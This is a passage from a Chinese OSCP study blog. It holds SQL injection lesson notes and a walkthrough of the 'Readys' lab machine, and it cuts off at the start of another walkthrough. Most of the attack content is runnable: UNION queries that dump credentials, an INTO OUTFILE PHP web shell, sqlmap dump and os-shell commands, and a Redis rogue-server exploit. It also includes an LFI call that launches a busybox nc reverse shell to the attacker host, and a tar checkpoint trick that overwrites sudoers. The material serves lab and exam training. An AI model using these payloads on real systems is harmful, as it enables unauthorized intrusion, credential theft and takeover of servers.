的用户的所有列和行\u0026quot;。由于\u0026quot;1=1\u0026quot;条件始终评估为真，因此将返回所有行。简而言之，通过引入 or 子句和\u0026quot;1=1\u0026quot;条件，该语句将返回 users 表中的所有记录，创建一个有效的\u0026quot;密码检查\u0026quot;。\n这足以绕过身份验证吗？这取决于情况。我们已经操纵查询返回 users 表中的所有记录。应用程序代码决定接下来会发生什么。某些编程语言具有查询数据库并期望单个记录的函数。如果这些函数获得多行，它们将生成错误。其他函数可能可以很好地处理多行。在没有应用程序源代码或使用试错法的情况下，我们无法知道会发生什么。\n如果当我们的 payload 返回多行时遇到错误，我们可以使用 LIMIT 语句指示查询返回固定数量的记录：\n1select * from users where id = \u0026#39;1\u0026#39; or 1=1 LIMIT 1;# 为了试验这些查询及其对数据库的影响，我们可以使用 MySQL 用户名和密码直接连接到 靶机的数据库，并直接执行 SQL 语句：\n假如是在登录界面，而我们不知道密码的情况下，可以用这个万能密码和LIMIT语法只返回第一个用户（一般就是admin管理员）的用户名和密码，通过包含\u0026quot;or 1=1 LIMIT 1;\u0026ldquo;子句并注释掉查询的其余部分来欺骗应用程序让我们进入。我们不确切知道查询的样子，但\u0026quot;or\u0026quot;子句将评估为真，因此会导致查询返回记录。我们将包含\u0026quot;LIMIT\u0026quot;子句以保持简单并仅返回一条记录。我们将在\u0026quot;username\u0026quot;字段中提交我们的 payload，如果我们成功操纵了查询，我们应该获得一个有效的已认证会话。\n如何防止 SQL 注入？ 一个天真的方法可能是在清理用户输入时删除所有单引号字符。然而，有时单引号应该被视为有效输入，例如姓氏。 最好的方法是使用参数化查询，也称为预处理语句（prepared statements）。此功能允许开发人员在其 SQL 语句中放置参数或占位符。然后将用户输入与语句一起提供，数据库将值绑定到语句，在 SQL 语句代码和数据值之间创建一个分离层。这可以防止用户提供的数据操纵 SQL 代码。大多数主要数据库系统和编程语言都支持预处理语句。\n📝 注意 下面的内容只作为理论查看，教材部分命令不再适用新的环境。推荐看专题[[sqli-labs 靶场合集 WP|sqli-labs]] 练习，搞懂所有的SQL操作。\n枚举数据库 我们还可以使用 SQL 注入攻击来枚举数据库。当我们开始构建更复杂的 SQL 注入 payload 时，我们需要这些信息。例如，如果我们要从列和表中提取数据，我们需要知道列名和表名。这有助于我们执行更精确的数据提取。\n这会导致 SQL 语法错误，表明存在潜在的 SQL 注入漏洞。\n列数枚举 我们可以向查询添加 order by 子句进行简单枚举。此子句告诉数据库按一列或多列中的值对查询结果进行排序。我们可以在查询中使用列名或列索引。\n让我们提交以下 URL：\nhttp://10.11.0.22/debug.php?id=1 order by 1 此查询指示数据库根据第一列中的值对结果进行排序。如果查询中至少有一列，则查询有效，页面将正常呈现而不会出错。我们可以提交多个查询，每次递增 order by 子句，直到查询生成错误，表明已超过相关查询返回的最大列数。请记住，查询可以选择表中的所有列或仅选择列的子集。如果我们无法访问源查询，则需要依赖这种试错方法。\n由于我们需要任意次数地迭代列号，我们应该使用 Burp Suite 的 Repeater 工具自动化查询。\n为此，我们必须首先启动 Burp Suite，关闭 Intercept 并针对我们的 Windows 目标启动 URL。在 Proxy \u0026gt; HTTP history 中，我们应该看到我们想要重复的请求：\n接下来，我们将右键单击该请求并选择 Send to Repeater。该请求现在应该显示在 Repeater 选项卡下。\n请注意，该请求已进行 URL 编码，并显示为\u0026quot;id=1%20order%20by%201\u0026rdquo;。这不应影响我们的查询。我们可以点击 Send 提交查询：\n响应看起来正常。我们可以使用 Response 窗格下的搜索框搜索\u0026quot;Error\u0026quot;，并验证响应主体中没有匹配项。\n接下来，我们可以递增 order_by 子句并再次发送查询，直到收到错误消息。我们可以使用 Response 窗格下的搜索框在响应中突出显示错误：\norder by 子句在第三次迭代时产生错误，我们知道查询返回包含2列的结果集。 这和数据库中原本的数据8列不一样，因为网页上只选取了Firstname 和 Surname两列的数据。\n理解输出的布局 现在我们知道表中有多少列，我们可以使用此信息通过 UNION 语句提取更多数据。UNION 允许我们向原始查询添加第二个 select 语句，扩展我们的能力，但每个 select 语句必须返回相同数量的列。\n根据我们的枚举，我们知道查询选择了2列。但是，网页上只显示两列。我们的下一步是确定显示哪些列。如果我们使用 union 来提取有用的数据，我们希望确保数据将被显示。\n我们需要更好地理解我们的输出，以便开始构建有意义的数据库提取。首先，让我们了解一下页面中显示了哪些列。我们将使用 UNION 来做到这一点。我们可以指定字面值，而不是从表中查找值。由于我们有三列，我们将在 payload 中添加\u0026quot;union all select 1, 2\u0026quot;。这个新的 select 语句将返回一行，包含三列，值为 1、2 。我们的 payload 现在是：\nhttp://192.168.224.1:8888/vulnerabilities/sqli/?id=1+union+all+select+1%2C+2\u0026amp;Submit=Submit# 页面显示不同列的位置，如下所示：\n我们可以看到第一列未显示，第二列显示在 name 字段中，第三列显示在 Comment 字段中。Comment 字段有更多空间，因此这是我们未来漏洞利用输出的合理位置。\n提示： 如果对此有任何不清楚的地方，现在是再次直接连接到数据库并尝试这些查询的好时机。您不需要成为经验丰富的数据库管理员就能利用 SQL 注入，但您对 SQL 和这些查询正在做什么越熟悉，从 SQL 错误消息到成功利用 SQL 注入漏洞就越容易。\n从数据库中提取数据 我们现在可以开始从数据库中提取信息。以下示例使用特定于 MariaDB 的命令。但是，大多数其他数据库提供类似的功能，语法略有不同。无论我们针对什么数据库软件，最好了解特定于平台的命令。\n例如，要输出 MariaDB 的版本，我们可以使用此 URL：\nhttp://10.11.0.22/debug.php?id=1 union all select 1, 2, @@version 这应该在 name 字段中输出\u0026quot;2\u0026quot;，在 comment 字段中输出数据库版本号：\n很好。看起来正在工作。接下来，让我们使用此查询输出当前数据库用户：\nhttp://10.11.0.22/debug.php?id=1 union all select 1, 2, user() 此查询显示正在使用 root 用户进行数据库查询：\ninformation_schema 存储有关数据库的信息，如表名和列名。我们可以使用它来获取数据库的布局，以便我们可以制作更好的 payload 来提取敏感数据。查询如下所示：\nhttp://10.11.0.22/debug.php?id=1 union all select 1, 2, table_name from information_schema.tables 这应该输出大量数据，其中大部分引用有关 MariaDB 中默认对象的信息。它还将包括表名，但我们需要滚动浏览输出以找到它们。\nusers 表看起来特别有趣。让我们针对该表并使用以下查询检索列名：\nhttp://10.11.0.22/debug.php?id=1 union all select 1, 2, column_name from information_schema.columns where table_name=\u0026#39;users\u0026#39; 这会输出 users 表的所有列名：\n我们知道原始查询选择三列，网页显示第二列和第三列。如果我们更新 union payload，我们可以在第二列中显示用户名，在第三列中显示密码。\nhttp://10.11.0.22/debug.php?id=1 union all select 1, username, password from users 这将在 name 字段中输出数据库用户名，在 comments 字段中输出密码：\n太好了。我们不仅获得了用户名和密码，而且密码都是明文的。我们可以通过登录管理页面来验证这些信息。\n我们可以查看源代码来验证我们通过黑盒测试推断出的内容：\n136 \u0026lt;?php 237 include \u0026#34;database.php\u0026#34;; 338 if (isset($_GET[\u0026#39;id\u0026#39;])) { 439 $sql = \u0026#34;SELECT id, name, text FROM feedback WHERE id=\u0026#34;. $_GET[\u0026#39;id\u0026#39;]; 540 $result = $conn-\u0026gt;query($sql); 641 if (!$result) { 742 trigger_error(\u0026#39;An error occured: \u0026#39; . $conn-\u0026gt;error); 843 } else if ($result-\u0026gt;num_rows \u0026gt; 0) { 944 while($row = $result-\u0026gt;fetch_assoc()) { 1045 echo \u0026#34;\u0026lt;tr\u0026gt;\u0026lt;td\u0026gt; \u0026#34; . $row[\u0026#34;name\u0026#34;]. \u0026#34;\u0026lt;/td\u0026gt;\u0026lt;td\u0026gt;\u0026#34; . $row[\u0026#34;text\u0026#34;]. \u0026#34;\u0026lt;/td\u0026gt;\u0026lt;/tr\u0026gt;\u0026#34;; 1146 } 1247 } else { echo \u0026#34;No results. Specify an id.\u0026#34;; } 1348 } else { 1449 echo \u0026#34;No results. Specify an id in your URL like ?id=1.\u0026#34;; 1550 } 1651 ?\u0026gt; 导致 SQL 注入的易受攻击代码在列表 332 的第 39 行。注入点位于查询末尾的\u0026quot;WHERE\u0026quot;子句中，这使得使用\u0026quot;UNION\u0026quot; payload 变得容易。查询的结果被获取，然后在第 45 行写出以供显示。请注意，虽然查询中包含三列，但只显示其中两列。这就是为什么我们使用第二列和第三列从另一个表中提取数据。\n练习 使用 SQL 注入枚举数据库的结构。 理解如何以及为什么可以从注入的命令中提取数据并将其显示在屏幕上。 从数据库中提取所有用户和相关密码。 从 SQL 注入到代码执行 让我们看看能将这个漏洞推进到什么程度。根据操作系统、服务权限和文件系统权限，SQL 注入漏洞可用于读取和写入底层操作系统上的文件。将包含 PHP 代码的精心制作的文件写入 Web 服务器的根目录，然后可以利用它来实现完整的代码执行。\n首先，让我们看看是否可以使用 load_file 函数读取文件：\nhttp://10.11.0.22/debug.php?id=1 union all select 1, 2, load_file(\u0026#39;C:/Windows/System32/drivers/etc/hosts\u0026#39;) 这应该输出 hosts 文件的内容：\n接下来，我们将尝试使用 INTO OUTFILE 函数在服务器的 Web 根目录中创建恶意 PHP 文件。根据我们已经看到的错误消息，我们应该知道 Web 根目录的位置。我们将尝试编写一个简单的 PHP 一行代码，类似于 LFI 示例中使用的代码：\nhttp://10.11.0.22/debug.php?id=1 union all select 1, 2, \u0026#34;\u0026lt;?php echo shell_exec($_GET[\u0026#39;cmd\u0026#39;]);?\u0026gt;\u0026#34; into OUTFILE \u0026#39;c:/xampp/htdocs/backdoor.php\u0026#39; 如果成功，该文件应该放在 Web 根目录中：\n此命令产生错误消息，但这并不一定意味着文件创建不成功。让我们尝试使用 cmd 参数（如 ipconfig）访问新创建的 backdoor.php 页面。\n练习 利用 SQL 注入以及 MariaDB INTO OUTFILE 函数获取代码执行。 将简单的代码执行转变为完整的 shell。 自动化 SQL 注入 我们遵循的 SQL 注入过程可以借助 Kali Linux 中预安装的几个工具实现自动化。其中一个更值得注意的工具是 sqlmap，它可用于识别和利用针对各种数据库引擎的 SQL 注入漏洞。\n让我们在示例 Web 应用程序上使用 sqlmap。我们将使用 -u 设置要扫描的 URL，并使用 -p 指定要测试的参数：\n1kali@kali:~$ sqlmap -u http://10.11.0.22/debug.php?id=1 -p \u0026#34;id\u0026#34; Sqlmap 将发出多个请求来探测参数是否易受 SQL 注入攻击。它还尝试确定正在使用的数据库软件，以便可以针对该软件调整攻击。在这种情况下，它发现了四种不同的技术来利用漏洞。它还列出了每种技术的 payload。即使 sqlmap 为我们完成工作，拥有这些示例 payload 也有助于我们理解它是如何利用漏洞的。\n我们现在可以使用 sqlmap 自动从数据库中提取数据。我们将再次运行 sqlmap，使用 \u0026ndash;dbms 将\u0026quot;MySQL\u0026quot;设置为后端类型，并使用 \u0026ndash;dump 转储数据库中所有表的内容。Sqlmap 在 \u0026ndash;dbms 标志中支持多个后端数据库，但它不区分 MariaDB 和 MySQL。将\u0026quot;MySQL\u0026quot;设置为足以满足此示例。\n1kali@kali:~$ sqlmap -u http://10.11.0.22/debug.php?id=1 -p \u0026#34;id\u0026#34; --dbms=mysql --dump 除了在终端窗口中显示内容外，sqlmap 还创建了一个包含转储内容的 CSV 文件。\nSqlmap 有许多其他功能，例如尝试绕过 Web 应用程序防火墙（WAF）的能力，以及执行复杂查询以自动完全接管服务器的能力。例如，使用 os-shell 参数将尝试在目标系统上自动上传和执行远程命令 shell。\n我们可以通过使用 \u0026ndash;os-shell 运行 sqlmap 在系统上执行 shell 来使用此功能：\n1kali@kali:~$ sqlmap -u http://10.11.0.22/debug.php?id=1 -p \u0026#34;id\u0026#34; --dbms=mysql --os-shell 一旦 sqlmap 建立了 shell，我们就可以在服务器上运行命令并查看输出，如列表 337 所示。这个 shell 可能有点慢，但它可以提供一个有效的立足点来访问底层服务器。\n重要提示： 请注意，OSCP 考试中不允许使用 sqlmap。但是，我们建议在实验室和 Windows 10 实验室机器上进行练习。考虑将其与 Burp 和 Wireshark 等工具结合使用，以捕获工具正在执行的操作，然后尝试手动复制攻击。这通常是一种非常有效的学习技术，不应被忽视。\n练习 使用 sqlmap 获取数据库的完整转储。 使用 sqlmap 获取交互式 shell。 第九章总结 第九章内容提到了很多常见的web漏洞，但是教材上能提到的利用方法只简单描述了原理，没有考虑真实复杂环境下的WAF过滤，系统版本等问题。部分命令已无法再直接利用，推荐自行做专题的练习。\n[[upload-Labs 靶场 WP]] [[sqli-labs 靶场合集 WP]] [[DVWA 靶场 WP|DVWA]] [[xss-labs 靶场 WP]]\n在线靶场-综合漏洞练习靶场\n更推荐用Docker镜像在本地练习更方便查看靶场内部设置，这样你可以直接查看你的上传的木马，注入的语句，在靶机里都是如何运作的，可以直接求证。一键拖取全部镜像命令：\n1docker run -d --name upload-labs -p 8883:80 c0ny1/upload-labs 2docker run -d --name xss-labs -p 8884:80 vulfocus/xss-labs 3docker run -d --name sqli-labs -p 8887:80 acgpiano/sqli-labs 4docker run -d --name dvwa -p 8888:80 vulnerables/web-dvwa OSCP第十章之后的内容，本博客和公众号不再发布笔记，感兴趣的可以自行报名OSCP学习，或加入泷羽学习群分享交流。\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-10-21T13:57:15Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day27-%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86-%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E4%B8%8Esql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/","title":"Day27 目录遍历、文件包含与SQL注入漏洞"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n官网打开靶场 信息收集 1# Kali攻击机地址 2192.168.45.182 3# 靶机地址 4192.168.147.166 扫描端口和目录 1# 设置MTU 2sudo ip link set dev tun0 mtu 1250 3ip link show tun0 4# 扫描端口 5ports=$(sudo nmap -p- --min-rate=5000 -Pn 192.168.147.166 | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) 6echo $ports 7# 扫描服务 8sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.147.166 9sudo nmap --script=vuln -p$ports -Pn 192.168.147.166 10# 扫描目录 11gobuster dir -e -u http://192.168.147.166 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,txt -b 403,500,404 -z 12whatweb http://192.168.147.166/ 13wpscan --update --url http://192.168.147.166/ --enumerate ap,t,u --api-token XXX 扫描结果如下：\n1┌──(kali㉿kali)-[~/Desktop/Readys] 2└─$ echo $ports 322,80,6379 4 5┌──(kali㉿kali)-[~/Desktop/Readys] 6└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.147.166 7Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-15 05:12 EDT 8Nmap scan report for 192.168.147.166 9Host is up (0.12s latency). 10 11PORT STATE SERVICE VERSION 1222/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 13| ssh-hostkey: 14| 2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA) 15| 256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA) 16|_ 256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519) 1780/tcp open http Apache httpd 2.4.38 ((Debian)) 18|_http-title: Readys \u0026amp;#8211; Just another WordPress site 19|_http-generator: WordPress 5.7.2 20|_http-server-header: Apache/2.4.38 (Debian) 216379/tcp open redis Redis key-value store 22Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port 23Device type: general purpose|router 24Running: Linux 4.X|5.X, MikroTik RouterOS 7.X 25OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 26OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) 27Network Distance: 4 hops 28Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 29 30OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 31Nmap done: 1 IP address (1 host up) scanned in 42.97 seconds 32 33┌──(kali㉿kali)-[~/Desktop/Readys] 34└─$ sudo nmap --script=vuln -p$ports -Pn 192.168.147.166 35Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-15 05:18 EDT 36Nmap scan report for 192.168.147.166 37Host is up (0.12s latency). 38 39PORT STATE SERVICE 4022/tcp open ssh 4180/tcp open http 42| http-csrf: 43| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.147.166 44| Found the following possible CSRF vulnerabilities: 45| 46| Path: http://192.168.147.166:80/ 47| Form id: search-form-1 48| Form action: http://192.168.147.166/ 49| 50| Path: http://192.168.147.166:80/index.php/category/uncategorised/ 51| Form id: search-form-1 52| Form action: http://192.168.147.166/ 53| 54| Path: http://192.168.147.166:80/index.php/comments/feed/1quot;https:/gravatar.com\u0026amp;quot;\u0026amp;gt;Gravatar\u0026amp;lt;/a\u0026amp;gt;.]] 55| Form id: search-form-2 56| Form action: http://192.168.147.166/ 57| 58| Path: http://192.168.147.166:80/index.php/comments/feed/1quot;https:/gravatar.com\u0026amp;quot;\u0026amp;gt;Gravatar\u0026amp;lt;/a\u0026amp;gt;.]] 59| Form id: search-form-1 60|_ Form action: http://192.168.147.166/ 61|_http-stored-xss: Couldn\u0026#39;t find any stored XSS vulnerabilities. 62|_http-sql-injection: ERROR: Script execution failed (use -d to debug) 63| http-fileupload-exploiter: 64| 65| Couldn\u0026#39;t find a file-type field. 66| 67|_ Couldn\u0026#39;t find a file-type field. 68|_http-dombased-xss: Couldn\u0026#39;t find any DOM based XSS. 69| http-wordpress-users: 70| Username found: admin 71|_Search stopped at ID #25. Increase the upper limit if necessary with \u0026#39;http-wordpress-users.limit\u0026#39; 72| http-enum: 73| /wp-login.php: Possible admin folder 74| /readme.html: Wordpress version: 2 75| /: WordPress version: 5.7.2 76| /wp-includes/images/rss.png: Wordpress version 2.2 found. 77| /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found. 78| /wp-includes/images/blank.gif: Wordpress version 2.6 found. 79| /wp-includes/js/comment-reply.js: Wordpress version 2.7 found. 80| /wp-login.php: Wordpress login page. 81| /wp-admin/upgrade.php: Wordpress login page. 82|_ /readme.html: Interesting, a readme. 836379/tcp open redis 84 85Nmap done: 1 IP address (1 host up) scanned in 118.67 seconds 86 87 88┌──(kali㉿kali)-[~/Desktop/Readys] 89└─$ whatweb http://192.168.147.166/ 90http://192.168.147.166/ [200 OK] Apache[2.4.38], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.147.166], JQuery[3.5.1], MetaGenerator[WordPress 5.7.2], PoweredBy[--], Script[text/javascript], Title[Readys \u0026amp;#8211; Just another WordPress site], UncommonHeaders[link], WordPress[5.7.2] 91 92=============================================================== 93Starting gobuster in directory enumeration mode 94=============================================================== 95/wp-contentwp-content (Status: 301) [Size: 323] [--\u0026gt; http://192.168.147.166/wp-content/] 96/wp-includeswp-includes (Status: 301) [Size: 324] [--\u0026gt; http://192.168.147.166/wp-includes/] 97/wp-adminwp-admin (Status: 301) [Size: 321] [--\u0026gt; http://192.168.147.166/wp-admin/] 发现存在用户名admin，但是密码爆不出来。\nsite-editor插件漏洞 1 | [!] Title: Site Editor \u0026lt;= 1.1.1 - Local File Inclusion (LFI) 2 | References: 3 | - https://wpscan.com/vulnerability/4432ecea-2b01-4d5c-9557-352042a57e44 4 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7422 5 | - https://seclists.org/fulldisclosure/2018/Mar/40 6 | - https://github.com/SiteEditor/editor/issues/2 利用成功，发现有一个叫alice的用户，按照靶机的设置习惯，alice用户下面应该有一个flag，flag的文件名一般是local.txt，而root下面还有一个叫proof.txt的文件 想直接看ssh密钥的，复制下来直接登录，但是ssh密钥看不了，只能看一下redis的配置\n1/root/.ssh/id_rsa 2/home/alice/.ssh/id_rsa 3/etc/redis/redis.conf 4cat 166redis.conf |grep \u0026#34;requirepass\u0026#34; 得到redis的认证密码是Ready4Redis\n1 redis-cli -h 192.168.147.166 -a \u0026#39;Ready4Redis?\u0026#39; 2 info server Redis-RCE 漏洞反弹shell 1git clone https://hk.gh-proxy.com/https://github.com/n0b0dyCN/redis-rogue-server.git 2git clone https://hk.gh-proxy.com/https://github.com/Ridter/redis-rce.git 3cd redis-rce 4cp ../redis-rogue-server/exp.so . 5# 新开一个终端等待反弹 6rlwrap -cAr nc -nlvp 80 7# 执行RCE脚本 8python redis-rce.py -r 192.168.147.166 -L 192.168.45.182 -P 6379 -f exp.so -a \u0026#39;Ready4Redis?\u0026#39; 9python3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; 找到数据库配置 💡 数据库密码 karl Wordpress1234\n文件权限php一句话木马 但是目前的redis账户还是不能直接登录，要找一个正经的用户。 查找可以写的目录，然后把php一句话木马写上去。在各个⽬录尝试写⼊ echo \u0026quot;\u0026lt;?php phpinfo() ?\u0026gt;\u0026quot; \u0026gt; test.php ，/run/redis⽬录写⼊之后在使⽤LFI之后php会被解析，尝试写⼊⼀个⼀句话⽊⻢ echo '\u0026lt;?php system($_GET[\u0026quot;cmd\u0026quot;]); ?\u0026gt;' \u0026gt; test.php\n1find / -type d -maxdepth 5 -writable 2\u0026gt;/dev/null 1# kali 新建一个监听终端 2rlwrap -cAr nc -nlvp 443 3# 访问LFI地址 4http://192.168.147.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/run/redis/test.php\u0026amp;cmd=busybox%20nc%20192.168.45.182%20443%20-e%20sh 5busybox nc 192.168.45.182 443 -e sh 6# 美化终端 7python3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; 连上数据库得到WP的管理员密码，但是这个密码对我们之后的提权没有用了已经。\nadmin | $P$Ba5uoSB5xsqZ5GFIbBnOkXA0ahSJnb0 上传小豌豆查一下提权的点\n查看/usr/local/bin/backup.sh文件的内容，发现可以用tar提权。详见[[OSCP官方靶场-Amaterasu WP#Tar提权详解]]-CNSD tar提权 1cd /var/www/html 2echo \u0026#34;\u0026#34; \u0026gt; \u0026#39;--checkpoint=1\u0026#39; 3echo \u0026#34;\u0026#34; \u0026gt; \u0026#39;--checkpoint-action=exec=sh payload.sh\u0026#39; 4 5# kali 6echo \u0026#34;echo \u0026#39;alice ALL=(root) NOPASSWD: ALL\u0026#39; \u0026gt; /etc/sudoers\u0026#34; \u0026gt;payload.sh 7chmod +x payload.sh 8python3 -m http.server 9 10# 靶机 11wget 192.168.45.182:8080/payload.sh 12sudo -l 13sudo /bin/bash 提权成功，拿到flag。 总结 入侵路径示意图 flowchart TD %% 资产列表 A[Kali攻击机 192.168.45.182] B[靶机 192.168.147.166] C[WP插件site-editor 文件读取漏洞] D[Redis-RCE漏洞] E[文件读取漏洞综合利用提升为Alice] F[Tar提权root] %% 路径关系 A--\u003e|扫描|B B--\u003eC C--\u003eD D--\u003eE E--\u003eF %% 线型：---（实线）、-.-\u003e（虚线）、==\u003e（粗箭头） %% --\u003e|是|：带条件文本的连接 %% 矩形节点[ ]，菱形决策节点{ }，圆弧方节点() %% 样式定义 classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px; classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px; classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px; %% 线型与颜色方案（亮色/暗色通用） linkStyle default stroke:#666666,stroke-width:2px,stroke-dasharray:0; %% 应用样式 class A attack; class B,C,D public; class E,F internal;入侵时间表 gantt title 攻击时间表 dateFormat YYYY-MM-DD HH:mm axisFormat %H:%M section 侦察阶段 目标扫描 :a1, 2025-10-15 17:05, 2025-10-15 17:51 漏洞识别 :a2, after a1, 15m section 攻击阶段 初始访问 :b1, after a2, 2025-10-15 19:05 权限提升 :crit,b2, after b1, 35m section 后渗透阶段 数据窃取 :c1, after b2, 5m 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-10-15T16:58:28Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-readys-wp/","title":"OSCP官方靶场 Readys WP"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n官网打开靶场 信息收集 1# Kali攻击机地址 2192.168.45.182 3# 靶机地址 4192.168.147.60 扫描端口和目录 1# 设置MTU 2sudo ip link set dev tun0 mtu 1250 3ip link show tun0 4# 扫描端口 5ports=$(sudo nmap -p- --min-rate=5000 -Pn 192.168.147.60 | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) 6echo $ports 7# 扫描服务 8sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.147.60 9sudo nmap --script=vuln -p$ports -Pn 192.168.147.60 10# 扫描目录 11sudo gobuster dir -u http://192.168.147.60:8080 --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -t 25 12 sudo gobuster dir -u http://192.168.147.60:10000 --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -t 25 --exclude-length 12 13whatweb http://192.168.147.60:8080/ 扫描结果如下：\n1┌──(kali㉿kali)-[~] 2└─$ echo $ports 322,53,113,5432,8080 4 5┌──(kali㉿kali)-[~] 6└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.147.60 7Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-15 03:13 EDT 8Nmap scan report for 192.168.147.60 9Host is up (0.12s latency). 10 11PORT STATE SERVICE VERSION 1222/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0) 13|_auth-owners: root 14| ssh-hostkey: 15| 2048 75:4c:02:01:fa:1e:9f:cc:e4:7b:52:fe:ba:36:85:a9 (RSA) 16| 256 b7:6f:9c:2b:bf:fb:04:62:f4:18:c9:38:f4:3d:6b:2b (ECDSA) 17|_ 256 98:7f:b6:40:ce:bb:b5:57:d5:d1:3c:65:72:74:87:c3 (ED25519) 1853/tcp closed domain 19113/tcp open ident FreeBSD identd 20|_auth-owners: nobody 215432/tcp open postgresql PostgreSQL DB 9.6.0 or later 228080/tcp open http WEBrick httpd 1.4.2 (Ruby 2.6.6 (2020-03-31)) 23|_http-server-header: WEBrick/1.4.2 (Ruby/2.6.6/2020-03-31) 24| http-robots.txt: 4 disallowed entries 25|_/issues/gantt /issues/calendar /activity /search 26|_http-title: Redmine 27Aggressive OS guesses: Linux 3.10 - 4.11 (96%), Linux 3.13 - 4.4 (96%), Linux 3.2 - 4.14 (94%), Linux 2.6.32 - 3.13 (93%), Linux 3.8 - 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.13 or 4.2 (90%), Linux 4.4 (90%), Linux 2.6.32 - 3.10 (90%), Linux 5.0 - 5.14 (90%) 28No exact OS matches for host (test conditions non-ideal). 29Service Info: OSs: Linux, FreeBSD; CPE: cpe:/o:linux:linux_kernel, cpe:/o:freebsd:freebsd 30 31OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 32Nmap done: 1 IP address (1 host up) scanned in 32.27 seconds 33 34┌──(kali㉿kali)-[~] 35└─$ sudo nmap --script=vuln -p$ports -Pn 192.168.147.60 36Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-15 03:27 EDT 37Nmap scan report for 192.168.147.60 38Host is up (0.12s latency). 39 40PORT STATE SERVICE 4122/tcp open ssh 4253/tcp closed domain 43113/tcp open ident 445432/tcp open postgresql 458080/tcp open http-proxy 46| http-slowloris-check: 47| VULNERABLE: 48| Slowloris DOS attack 49| State: LIKELY VULNERABLE 50| IDs: CVE:CVE-2007-6750 51| Slowloris tries to keep many connections to the target web server open and hold 52| them open as long as possible. It accomplishes this by opening connections to 53| the target web server and sending a partial request. By doing so, it starves 54| the http server\u0026#39;\u0026#39;s resources causing Denial Of Service. 55| 56| Disclosure date: 2009-09-17 57| References: 58| http://ha.ckers.org/slowloris/ 59|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 60| http-enum: 61| /login.stm: Belkin G Wireless Router 62| /admin.php: Possible admin folder (401 Unauthorized ) 63| /login.php: Possible admin folder 64| /login.html: Possible admin folder 65| /admin.cfm: Possible admin folder (401 Unauthorized ) 66| /login.cfm: Possible admin folder 67| /admin.asp: Possible admin folder (401 Unauthorized ) 68| /login.asp: Possible admin folder 69| /admin.aspx: Possible admin folder (401 Unauthorized ) 70| /login.aspx: Possible admin folder 71| /admin.jsp: Possible admin folder (401 Unauthorized ) 72| /login.jsp: Possible admin folder 73| /users.sql: Possible database backup (401 Unauthorized ) 74| /login/: Login page 75| /login.htm: 